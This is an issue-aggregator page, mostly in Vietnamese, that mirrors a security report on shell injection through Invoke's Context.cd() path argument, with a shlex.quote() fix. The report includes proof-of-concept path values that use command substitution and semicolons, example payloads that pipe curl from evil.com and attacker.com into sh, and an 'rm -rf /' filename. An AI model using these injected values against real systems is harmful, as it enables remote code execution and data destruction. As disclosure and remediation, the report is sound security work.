[Security] Shell injection via Context.cd() path argument — metacharacters not escaped (CWE-78)
@HarshRajSinghania đang làm issue này rồi.
Từ ngày 21/9/2026.
- #1090 của @HarshRajSinghania — đang mở
Đánh giá
- Độ khó
- 2/5
- Thời gian dự kiến
- 1-3 giờ
- Mức phù hợp với người mới
- 72/100
Hướng nghiên cứu
Bắt đầu trong invoke/context.py tại _prefix_commands() và thuộc tính cwd, sau đó theo dõi cách lệnh đã được ghép đến Popen(..., shell=True) hoặc os.execvpe(...). Tái hiện hai đường dẫn được liệt kê có chứa phép thay thế lệnh và các ký tự dấu chấm phẩy, đồng thời xác minh rằng chúng được xử lý theo nghĩa đen trong khi cd thông thường và việc thực thi lệnh vẫn hoạt động.
Do mô hình lập chỉ mục viết ra từ nội dung của issue.
Mô tả
Summary
Context.cd() builds shell commands by inserting the raw path into "cd {} && <command>".format(path) inside _prefix_commands(). Only space characters are escaped (via .replace(" ", r"\ ")). All other shell metacharacters — $(), `, ;, |, &&, ||, newlines — are passed through verbatim to bash -c.
An inline TODO in the source acknowledges this is incomplete:
# invoke/context.py:354
# TODO: see if there's a stronger "escape this path" function somewhere
# we can reuse. e.g., escaping tildes or slashes in filenames.
paths = [path.replace(" ", r"\ ") for path in self.command_cwds[i:]]
Affected code
File: invoke/context.py
Functions: cwd property (line 337) and _prefix_commands() (line 266)
Commit: 6a71e680c535ba6520e935c497099fbca011d03c
# _prefix_commands() — the injection point
def _prefix_commands(self, command: str) -> str:
prefixes = list(self.command_prefixes)
current_directory = self.cwd # ← only spaces escaped
if current_directory:
prefixes.insert(0, "cd {}".format(current_directory)) # ← raw into shell
return " && ".join(prefixes + [command])
# The assembled string is passed to:
# Popen(command, shell=True, executable="/bin/bash")
# OR os.execvpe(shell, [shell, "-c", command], env)
Two confirmed injection vectors
Vector A — Command substitution $() (no spaces → space-escape doesn't help):
c = Context()
with c.cd("$(id>/tmp/invoke_poc.txt)"):
c.run("echo normal")
# bash receives: cd $(id>/tmp/invoke_poc.txt) && echo normal
# bash evaluates $(...) BEFORE cd → runs id, writes output to file
# cd fails silently, echo runs normally
# /tmp/invoke_poc.txt: uid=1000(user) gid=1000(user) ...
Vector B — Semicolon chaining (no spaces):
with c.cd("/tmp;id>/tmp/invoke_poc.txt"):
c.run("echo normal")
# bash receives: cd /tmp;id>/tmp/invoke_poc.txt && echo normal
# Executes: 1) cd /tmp 2) id>/tmp/invoke_poc.txt 3) echo normal
Verified output (run against commit 6a71e68 in isolated environment)
[Vector A] /tmp/invoke_poc.txt: 'uid=0(root) gid=0(root) groups=0(root)\n'
[Vector B] /tmp/invoke_poc.txt: 'uid=0(root) gid=0(root) groups=0(root)\n'
Real-world trigger conditions
Any task that passes external or user-controlled input to c.cd():
# 1. User-supplied CLI argument
@task
def deploy(c, target_dir):
with c.cd(target_dir): # invoke deploy --target-dir '$(curl evil.com/shell.sh|sh)'
c.run("make install")
# 2. Dynamic path from filesystem scan (filenames can be arbitrary)
for entry in Path("/repos").iterdir():
with c.cd(str(entry)): # entry name: "$(rm -rf /)"
c.run("git pull")
# 3. Path from config/API/DB
for repo in api_response["repos"]:
with c.cd(repo["path"]): # path: "/work;curl attacker.com|sh"
c.run("git status")
In Fabric (which wraps Invoke for SSH), remote directory names are directly fed to c.cd(), making this exploitable when running tasks against hostile or compromised remote filesystems.
Severity
High — arbitrary command execution in the context of the invoking process.
CWE-78 (OS Command Injection)
CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 (if path from network/user input)
CVSS 3.1: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 7.8 (local-only use)
Fix
Apply shlex.quote() to the assembled directory in _prefix_commands(), and remove the incomplete space-only escaping from cwd:
import shlex
def _prefix_commands(self, command: str) -> str:
prefixes = list(self.command_prefixes)
current_directory = self.cwd
if current_directory:
prefixes.insert(0, "cd {}".format(shlex.quote(current_directory))) # ← safe
return " && ".join(prefixes + [command])
@property
def cwd(self) -> str:
...
paths = list(self.command_cwds[i:]) # ← shlex.quote() handles all escaping
return str(os.path.join(*paths))
shlex.quote() wraps in single quotes and escapes embedded single quotes:
/tmp;id→'/tmp;id'(semicolon becomes literal)$(id)→'$(id)'(dollar/parens become literal)my dir→'my dir'(space handled correctly, no backslash needed)
A patch implementing this fix is available at:
https://github.com/HarshRajSinghania/invoke/tree/fix/i1-cd-shell-injection
Reporter
Harsh Raj Singhania — independent security researcher
Contact: [email protected]
- Ngôn ngữ chính
- Python
- Star
- 4.8k
- Fork
- 414
- Chỉ số merge pull request
- Không có pull request nào được merge trong 30 ngày
Chuẩn bị môi trường
Dự án này không cung cấp dev container, Dockerfile hay hướng dẫn đóng góp, nên bạn cần tự thiết lập môi trường: hãy bắt đầu từ README và xem hướng dẫn đóng góp lần đầu của chúng tôi để biết các bước chung.
Bắt đầu từ đâu
- Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
- Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
- Fork repository và làm thay đổi trên một nhánh.
- Mở pull request có tham chiếu số hiệu của issue.
Issue khác của pyinvoke/invoke
-
Runner.respond uses join leading to slownessCó thể đã có người làm @aryansk đã nhận 56 ngày trước. Đang mở
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 70/100
-
Long tasks name make `invoke --list | grep a` crash with "invalid width"Có thể đã có người làm @cyphercodes đã nhận 132 ngày trước. Đang mở
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 76/100
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 70/100
-
Type hints of config do not accept other values than strCó thể đã có người làm Có pull request liên kết đang mở hoặc đã được merge. Đang mở
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 64/100
-
sdist is missing `pytest.ini`Có thể đã có người làm @toroleapinc đã nhận 222 ngày trước. Đang mở
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 68/100
Tất cả issue của pyinvoke/invoke
Issue tương tự
-
Claiming namespace `jft63`Đang mởnamespace operations
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 72/100
EclipseFdn/open-vsx.org#14043 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
netbox status: needs triage type: bug
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 76/100
netbox-community/netbox#23376 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
feedback simulation workshop
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 73/100
githubnext/gh-aw-workshop#4455 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Triage 🩺
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 76/100
Maintainer thường phản hồi trong vòng 1 ngày
-
[BUG] Container scenario crashes without expected_recovery_time, kube DNS example uses retry_waitĐang mởneeds-triage
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 77/100
krkn-chaos/krkn#1627 · 1 bình luận ·
Maintainer thường phản hồi trong vòng 1 ngày